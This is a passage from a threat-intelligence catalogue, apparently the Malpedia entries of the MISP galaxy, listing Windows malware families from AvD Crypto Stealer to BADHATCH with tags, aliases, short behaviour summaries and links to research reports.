https://www.bleepingcomputer.com/news/security/the-avcrypt-ransomware-tries-to-uninstall-your-av-software/

AvD Crypto Stealer

Cyble Research discovered this .Net written malware dubbed "AvD Crypto Stealer". The name of this malware is misleading, because this is a kind of clipper malware. Assumption of Cyble is, that this malware could target other threat actors as scenario.

The tag is: *misp-galaxy:malpedia="AvD Crypto Stealer"*

AvD Crypto Stealer is also known as:

Table 3235. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.avd
https://blog.cyble.com/2022/03/22/hunters-become-the-hunted/

Aveo

The tag is: *misp-galaxy:malpedia="Aveo"*

Aveo is also known as:

Table 3236. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aveo
https://www.secureworks.com/research/threat-profiles/bronze-overbrook
http://researchcenter.paloaltonetworks.com/2016/08/unit42-aveo-malware-family-targets-japanese-speaking-users/

Ave Maria

Information stealer which uses AutoIT for wrapping.

The tag is: *misp-galaxy:malpedia="Ave Maria"*

Ave Maria is also known as:

- AVE_MARIA
- AveMariaRAT
- Warzone RAT
- WarzoneRAT
- avemaria

Table 3237. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ave_maria
https://blog.morphisec.com/syk-crypter-discord
https://www.bleepingcomputer.com/news/security/fbi-seizes-warzone-rat-infrastructure-arrests-malware-vendor/
https://blog.cyber5w.com/analyzing-macro-enabled-office-documents
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4
https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html
https://www.europol.europa.eu/media-press/newsroom/news/international-cybercrime-malware-service-targeting-thousands-of-unsuspecting-consumers-dismantled
https://www.youtube.com/watch?v=T0tdj1WDioM
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt
https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html
https://www.securonix.com/securonix-threat-labs-security-advisory-multistorm-leverages-python-based-loader-as-onedrive-utilities-to-drop-rat-payloads/
https://www.netskope.com/blog/dbatloader-abusing-discord-to-deliver-warzone-rat
https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/
https://www.youtube.com/watch?v=81fdvmGmRvM
https://asec.ahnlab.com/en/36629/
https://blog.yoroi.company/research/the-ave_maria-malware/

https://blogs.quickheal.com/warzone-rat-beware-of-the-trojan-malware-stealing-data-triggering-from-various-office-documents/

https://www.kaspersky.com/about/press-releases/2019_fin7-hacking-group-targets-more-than-130-companies-after-leaders-arrest

https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/

https://github.com/muha2xmad/Python/blob/bdc7a711d5a775f8ae47b591f20fdd2e1360b77b/warzonerat/warzonerat_config_extraction.ipynb

https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf

https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html

https://0xmrmagnezi.github.io/malware%20analysis/AveMaria/

https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord

http://blog.morphisec.com/threat-alert-ave-maria-infostealer-on-the-rise-with-new-stealthier-delivery

https://reaqta.com/2019/04/ave_maria-malware-part1/

https://www.cisa.gov/sites/default/files/2023-11/aa23-320a_scattered_spider.pdf

https://www.uptycs.com/blog/warzonerat-can-now-evade-with-process-hollowing

https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf

https://mp.weixin.qq.com/s/C09P0al1nhsyyujHRp0FAw

https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html

https://kienmanowar.wordpress.com/2023/03/25/quicknote-decrypting-the-c2-configuration-of-warzone-rat/

https://www.huntress.com/blog/ave-maria-and-the-chambers-of-warzone-rat

https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique

https://www.justice.gov/opa/pr/international-cybercrime-malware-service-dismantled-federal-authorities-key-malware-sales

https://go.recordedfuture.com/hubfs/reports/cta-2022-0919.pdf

https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/

https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html

https://medium.com/insomniacs/do-you-want-to-bake-a-donut-come-on-lets-go-update-go-away-maria-e8e2b33683b1

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q3%20Botnet%20Threat%20Update.pdf

https://mp.weixin.qq.com/s/fsesosMnKIfAi_I9I0wKSA

https://blog.talosintelligence.com/attributing-yorotrooper/
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf
https://securelist.com/apt-trends-report-q3-2020/99204/
https://muha2xmad.github.io/malware-analysis/warzonerat/
https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware
https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat
https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf
https://blogs.blackberry.com/en/2021/12/threat-thursday-warzone-rat-breeds-a-litter-of-scriptkiddies
https://ti.qianxin.com/blog/articles/Kasablanka-Group-Probably-Conducted-Compaigns-Targeting-Russia/
https://www.youtube.com/watch?v=-G82xh9m4hc
https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://exploitreversing.files.wordpress.com/2022/11/mas_6-1.pdf
https://blog.team-cymru.com/2019/07/25/unmasking-ave_maria/

Unidentified 061 (Windows)

Was previously wrongly tagged as PoweliksDropper, now looking for additional context.

The tag is: *misp-galaxy:malpedia="Unidentified 061 (Windows)"*

Unidentified 061 (Windows) is also known as:

Table 3238. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.avrecon

Avzhan

The tag is: *misp-galaxy:malpedia="Avzhan"*

Avzhan is also known as:

Table 3239. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.avzhan

https://blog.malwarebytes.com/threat-analysis/2018/02/avzhan-ddos-bot-dropped-by-chinese-drive-by-attack/

AXLocker

The tag is: *misp-galaxy:malpedia="AXLocker"*

AXLocker is also known as:

Table 3240. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.axlocker
https://blog.cyble.com/2022/11/18/axlocker-octocrypt-and-alice-leading-a-new-wave-of-ransomware-campaigns/

Ayegent

The tag is: *misp-galaxy:malpedia="Ayegent"*

Ayegent is also known as:

Table 3241. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ayegent

Aytoke

Keylogger.

The tag is: *misp-galaxy:malpedia="Aytoke"*

Aytoke is also known as:

Table 3242. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aytoke
https://snort.org/rule_docs/1-34217
https://www.youtube.com/watch?v=FttiysUZmDw

Azorult

AZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit.

The tag is: *misp-galaxy:malpedia="Azorult"*

Azorult is also known as:

- PuffStealer
- Rultazo

Table 3243. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult
https://yoroi.company/research/apt-or-not-apt-whats-behind-the-aggah-campaign/
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://malwarebreakdown.com/2017/07/24/the-seamless-campaign-drops-ramnit-follow-up-malware-azorult-stealer-smoke-loader-etc/
https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://blog.minerva-labs.com/azorult-now-as-a-signed-google-update
https://www.domaintools.com/resources/blog/identifying-network-infrastructure-related-to-a-who-spoofing-campaign
https://blog.prevailion.com/2020/02/the-triune-threat-mastermana-returns.html
https://blog.nviso.eu/2020/09/01/epic-manchego-atypical-maldoc-delivery-brings-flurry-of-infostealers/
https://blog.yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/
https://malwarebreakdown.com/2017/11/12/seamless-campaign-delivers-ramnit-via-rig-ek-at-188-225-82-158-follow-up-malware-is-azorult-stealer/
https://www.bleepingcomputer.com/news/security/azorult-trojan-serving-aurora-ransomware-by-malactor-oktropys/
https://www.zscaler.com/blogs/research/multistage-freedom-loader-used-spread-azorult-and-nanocore-rat
https://asec.ahnlab.com/en/26517/
https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf
https://research.checkpoint.com/the-emergence-of-the-new-azorult-3-3/
https://www.youtube.com/watch?v=EyDiIAtdI
https://ke-la.com/information-stealers-a-new-landscape/
https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan
https://blog.minerva-labs.com/puffstealer-evasion-in-a-cloak-of-multiple-layers

https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware

https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/

https://blog.team-cymru.com/2020/02/19/azorult-what-we-see-using-our-own-tools/

https://blogs.blackberry.com/en/2020/04/threat-spotlight-gootkit-banking-trojan

https://threatvector.cylance.com/en_us/home/threat-spotlight-analyzing-azorult-infostealer-malware.html

https://twitter.com/DrStache_/status/1227662001247268864

https://isc.sans.edu/diary/25120

https://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/

https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors

https://community.riskiq.com/article/56e28880

https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf

https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672

https://www.vmray.com/cyber-security-blog/azorult-delivered-by-guloader-malware-analysis-spotlight/

https://medium.com/s2wlab/w1-feb-en-story-of-the-week-stealers-on-the-darkweb-49945a31601d

https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware

https://www.zscaler.com/blogs/security-research/targeted-attacks-oil-and-gas-supply-chain-industries-middle-east

https://unit42.paloaltonetworks.com/cybersquatting/

https://www.virusbulletin.com/uploads/pdf/magazine/2021/202104-design-vulnerabilities-azorult-cc-panels.pdf

https://any.run/cybersecurity-blog/azorult-malware-analysis/

https://mariohenkel.medium.com/decrypting-azorult-traffic-for-fun-and-profit-9f28d8638b05

https://www.blueliv.com/blog-news/research/azorult-crydbrox-stops-sells-malware-credential-stealer/

https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/

https://cyble.com/blog/sneaky-azorult-back-in-action-and-goes-undetected/

https://blog.talosintelligence.com/2020/04/azorult-brings-friends-to-party.html

https://securelist.com/azorult-analysis-history/89922/

https://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/

https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/
https://ke-la.com/exploring-the-genesis-supply-chain-for-fun-and-profit/
https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/
https://ke-la.com/whats-dead-may-never-die-azorult-infostealer-decommissioned-again/
https://medium.com/s2wlab/operation-synctrek-e5013df8d167
http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html
https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside
https://fr3d.hk/blog/gazorp-thieving-from-thieves
https://community.riskiq.com/article/2a36a7d2/description
https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/
https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html
https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/
https://www.splunk.com/en_us/blog/security/-applocker-rules-as-defense-evasion-complete-analysis.html
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html
https://yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://outpost24.com/blog/using-qiling-framework-to-unpack-ta505-packed-samples/
https://blog.talosintelligence.com/2021/12/magnat-campaigns-use-malvertising-to.html
https://blog.talosintelligence.com/2020/06/tor2mine-is-up-to-their-old-tricks-and_11.html

Azov Wiper

According to Checkpoint, this malware is a wiper instead of ransomware as self-announced. It is manually written in FASM, unrecoverably overwriting data in blocks of 666 bytes, using multi-threading.

The tag is: *misp-galaxy:malpedia="Azov Wiper"*

Azov Wiper is also known as:

Table 3244. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.azov_wiper

https://research.checkpoint.com/2022/pulling-the-curtains-on-azov-ransomware-not-a-skidsware-but-polymorphic-wiper/
https://twitter.com/*CPResearch*/status/1587837524604465153
https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper

B0

According to Porthas, this is a ransomware written in Golang, using a time-based kill switch to limit its execution.

The tag is: *misp-galaxy:malpedia="B0"*

B0 is also known as:

Table 3245. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.b0
https://www.porthas.com/blog/b0-ransomware-decryption/

Babadeda

According to PCrisk, Babadeda is a new sample in the crypters family, allowing threat actors to encrypt and obfuscate the malicious samples. The obfuscation allows malware to bypass the majority of antivirus protections without triggering any alerts. According to the researchers' analysis, Babadeda leverages a sophisticated and complex obfuscation that shows a very low detection rate by anti-virus engines.

The tag is: *misp-galaxy:malpedia="Babadeda"*

Babadeda is also known as:

Table 3246. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.babadeda
https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities

Babar

The tag is: *misp-galaxy:malpedia="Babar"*

Babar is also known as:

- SNOWBALL

Table 3247. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.babar
https://researchcenter.paloaltonetworks.com/2017/09/unit42-analysing-10-year-old-snowball/
http://www.spiegel.de/media/media-35683.pdf
https://www.gdatasoftware.com/blog/2015/02/24270-babar-espionage-software-finally-found-and-put-under-the-microscope
https://drive.google.com/a/cyphort.com/file/d/0B9Mrr-en8FX4dzJqLWhDblhseTA/
https://web.archive.org/web/20150218192803/http://www.cyphort.com/babar-suspected-nation-state-spyware-spotlight/

Babuk (Windows)

Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.

The tag is: *misp-galaxy:malpedia="Babuk (Windows)"*

Babuk (Windows) is also known as:

- Babyk
- Vasa Locker

Table 3248. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk
https://raw.githubusercontent.com/vc0RExor/Malware-Threat-Reports/main/Ransomware/Babuk/Babuk_Ransomware_EN_2021_05.pdf
https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/
https://ke-la.com/new-russian-speaking-forum-a-new-place-for-raas/
https://www.databreaches.net/babuk-re-organizes-as-payload-bin-offers-its-first-leak/
https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus/IOCs-blog-Ransomware%20Actor%20Abuses%20Genshin%20Impact%20Anti-Cheat%20Driver%20to%20Kill%20Antivirus.txt
http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-moving-to-vm-nix-systems.pdf
https://securelist.com/ransomware-world-in-2021/102169/

https://raw.githubusercontent.com/antonioCoco/infosec-talks/main/InsomniHack_2022_Ransomware_Encryption_Internals.pdf

https://twitter.com/Sebdraven/status/1346377590525845504

https://www.bleepingcomputer.com/news/security/babyk-ransomware-wont-hit-charities-unless-they-support-lgbt-blm/

https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/is-there-really-such-a-thing-as-a-low-paid-ransomware-operator/

https://github.com/EmissarySpider/ransomware-descendants

https://www.bleepingcomputer.com/news/security/data-leak-marketplaces-aim-to-take-over-the-extortion-economy/

https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf

https://www.bleepingcomputer.com/news/security/leaked-babuk-locker-ransomware-builder-used-in-new-attacks/

https://www.zerofox.com/blog/babuk-ransomware-variant-delta-plus/

https://krebsonsecurity.com/2022/02/wazawaka-goes-waka-waka/

https://lab52.io/blog/quick-review-of-babuk-ransomware-builder/

https://marcoramilli.com/2021/07/05/babuk-ransomware-the-builder/

https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf

https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html

https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/

https://twitter.com/GossiTheDog/status/1409117153182224386

https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/

https://medium.com/@lcam/how-to-target-european-smes-with-ransomware-through-zyxel-c9779e96369a

https://cocomelonc.github.io/book/2023/12/13/malwild-book.html

https://killingthebear.jorgetesta.tech/actors/evil-corp

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/

https://sebdraven.medium.com/babuk-is-distributed-packed-78e2f5dd2e62

https://sekurak.pl/udalo-nam-sie-zrealizowac-wywiad-z-grupa-ransomware-babuk-ktora-zaszyfrowala-policje-metropolitarna-w-waszyngtonie/

https://blog.morphisec.com/babuk-ransomware-variant-major-attack

https://www.bleepingcomputer.com/news/security/babuk-ransomware-is-back-uses-new-version-on-corporate-networks/

https://www.advintel.io/post/groove-vs-babuk-groove-ransom-manifesto-ramp-underground-platform-secret-inner-workings

https://www.fr.sogeti.com/globalassets/france/avis-dexperts—livres-blancs/cybersecchronicles-_babuk.pdf

https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1

https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/

https://therecord.media/builder-for-babuk-locker-ransomware-leaked-online/

https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d

https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751

https://resources.prodaft.com/wazawaka-report

https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html

https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html

https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b

https://mssplab.github.io/threat-hunting/2023/06/15/malware-analysis-babuk.html

https://krebsonsecurity.com/2023/05/russian-hacker-wazawaka-indicted-for-ransomware/

https://decoded.avast.io/threatresearch/avast-updates-babuk-ransomware-decryptor-in-cooperation-with-cisco-talos-and-dutch-police/

https://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/

https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html

https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/

https://medium.com/s2wlab/w4-may-en-story-of-the-week-ransomware-on-the-darkweb-5f5b8d4c3b6f

https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/are-virtual-machines-the-new-gold-for-cyber-criminals/

BabyLon RAT

The tag is: *misp-galaxy:malpedia="BabyLon RAT"*

BabyLon RAT is also known as:

Table 3249. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.babylon_rat
https://cyble.com/blog/the-intricate-babylon-rat-campaign-targets-malaysian-politicians-government/
https://twitter.com/KorbenD_Intel/status/1110654679980085262

BABYMETAL

BABYMETAL is a command line network tunnel utility based on the TinyMet Meterpreter tool, primarily used to execute Meterpreter reverse shell payloads.

The tag is: *misp-galaxy:malpedia="BABYMETAL"*

BABYMETAL is also known as:

Table 3250. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.babymetal
https://www.mandiant.com/resources/evolution-of-fin7
https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html
https://www.infosecurityeurope.com/novadocuments/367989?v=636338290033030000
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf

BabyShark

BabyShark is Microsoft Visual Basic (VB) script-based malware family first seen in November 2018. The malware is launched by executing the first stage HTA from a remote location, thus it can be delivered via different file types including PE files as well as malicious documents. It exfiltrates system information to C2 server, maintains persistence on the system, and waits for further instruction from the operator

The tag is: *misp-galaxy:malpedia="BabyShark"*

BabyShark is also known as:

- LATEOP

Table 3251. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.babyshark
https://blog.alyac.co.kr/3352
https://conference.hitb.org/hitbsecconf2021ams/materials/D2T1%20-%20The%20Phishermen%20-%20Dissecting%20Phishing%20Techniques%20of%20CloudDragon%20APT%20-%20Linda%20Kuo%20&Zih-Cing%20Liao%20.pdf
https://www.youtube.com/watch?v=Dv2_DK3tRgI
https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite
https://www.huntress.com/blog/targeted-apt-activity-babyshark-is-out-for-blood
https://twitter.com/i/web/status/1099147896950185985
https://www.pwc.co.uk/issues/cyber-security-services/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.html
https://www.sentinelone.com/labs/kimsuky-evolves-reconnaissance-capabilities-in-new-global-campaign/
https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/
https://www.kroll.com/en/insights/publications/cyber/screenconnect-vulnerability-exploited-to-deploy-babyshark
https://www.youtube.com/watch?v=rfzmHjZX70s
https://www.bloomberglaw.com/document/public/subdoc/X67FPNDOUBV9VOPS35A4864BFIU?imagename=1
https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries
https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-2.html
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.pwc.co.uk/issues/cyber-security-services/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.htmlhttps://www.pwc.co.uk/issues/cyber-security-data-privacy/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-2.html
https://blog.google/threat-analysis-group/how-were-protecting-users-from-government-backed-attacks-from-north-korea/
https://www.genians.co.kr/en/blog/threat_intelligence/triple-combo
https://us-cert.cisa.gov/ncas/alerts/aa20-301a
https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf

Bachosens

The tag is: *misp-galaxy:malpedia="Bachosens"*

Bachosens is also known as:

Table 3252. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bachosens
https://medium.com/threat-intel/cybercrime-investigation-insights-bachosens-e1d6312f6b3a

BACKBEND

FireEye describes BACKBEND as a secondary downloader used as a backup mechanism in the case the primary backdoor is removed. When executed, BACKBEND checks for the presence of the mutexes MicrosoftZj or MicrosoftZjBak (both associated with BACKSPACE variants). If either of the mutexes exist, the malware exits.

The tag is: *misp-galaxy:malpedia="BACKBEND"*

BACKBEND is also known as:

Table 3253. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.backbend
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

BackConfig

The tag is: *misp-galaxy:malpedia="BackConfig"*

BackConfig is also known as:

Table 3254. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.backconfig
https://unit42.paloaltonetworks.com/threat-assessment-hangover-threat-group/
https://unit42.paloaltonetworks.com/atoms/thirstygemini/

BackNet

The tag is: *misp-galaxy:malpedia="BackNet"*

BackNet is also known as:

Table 3255. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.backnet
https://github.com/valsov/BackNet

Backoff POS

The tag is: *misp-galaxy:malpedia="Backoff POS"*

Backoff POS is also known as:

Table 3256. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.backoff
https://securelist.com/sinkholing-the-backoff-pos-trojan/66305/

BACKORDER

According to EclecticIQ, this is a downloader written in Go, able to exclude paths from Windows Defender in order to execute fetched payloads without raising alerts.

The tag is: *misp-galaxy:malpedia="BACKORDER"*

BACKORDER is also known as:

Table 3257. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.backorder
https://blog.eclecticiq.com/sandworm-apt-targets-ukrainian-users-with-trojanized-microsoft-kms-activation-tools-in-cyber-espionage-campaigns

backspace

The tag is: *misp-galaxy:malpedia="backspace"*

backspace is also known as:

- Lecna
- ZRLnk

Table 3258. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.backspace

https://www.secureworks.com/research/threat-profiles/bronze-geneva
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/eagle-eye-is-back-apt30/
https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf

BackSwap

The tag is: *misp-galaxy:malpedia="BackSwap"*

BackSwap is also known as:

Table 3259. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.backswap
https://www.cyberbit.com/blog/endpoint-security/backswap-banker-malware-hides-inside-replicas-of-legitimate-programs/
https://securityintelligence.com/backswap-malware-now-targets-six-banks-in-spain/
https://research.checkpoint.com/the-evolution-of-backswap/
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf
https://www.cyberbit.com/backswap-banker-malware-hides-inside-replicas-of-legitimate-programs/
https://www.f5.com/labs/articles/threat-intelligence/backswap-defrauds-online-banking-customers-using-hidden-input-fi
https://www.cert.pl/en/news/single/backswap-malware-analysis/
https://explore.group-ib.com/htct/hi-tech_crime_2018
https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/

BADAUDIO

According to Google, BADAUDIO is a custom first-stage downloader written in C++ that downloads, decrypts, and executes an AES-encrypted payload from a hard-coded command and control (C2) server. The malware collects basic system information, encrypts it using a hard-coded AES key, and sends it as a cookie value with the GET request to fetch the payload. The payload, in one case identified as Cobalt Strike Beacon, is decrypted with the same key and executed in memory.

The tag is: *misp-galaxy:malpedia="BADAUDIO"*

BADAUDIO is also known as:

Table 3260. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.badaudio
https://cloud.google.com/blog/topics/threat-intelligence/apt24-pivot-to-multi-vector-attacks/

BADCALL (Windows)

The tag is: *misp-galaxy:malpedia="BADCALL (Windows)"*

BADCALL (Windows) is also known as:

Table 3261. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.badcall
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.welivesecurity.com/2023/04/20/linux-malware-strengthens-links-lazarus-3cx-supply-chain-attack
https://www.us-cert.gov/ncas/analysis-reports/ar19-252a
https://brandefense.io/blog/apt-groups/lazarus-apt-group-apt38/
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF
https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html

BadEncript

The tag is: *misp-galaxy:malpedia="BadEncript"*

BadEncript is also known as:

Table 3262. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.badencript
https://twitter.com/PhysicalDrive0/status/833067081981710336

badflick

BADFLICK, a backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command-and-control configuration.

The tag is: *misp-galaxy:malpedia="badflick"*

badflick is also known as:

Table 3263. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.badflick
https://blog.amossys.fr/badflick-is-not-so-bad.html
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

BADHATCH

The tag is: *misp-galaxy:malpedia="BADHATCH"*

BADHATCH is also known as:

Table 3264. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.badhatch
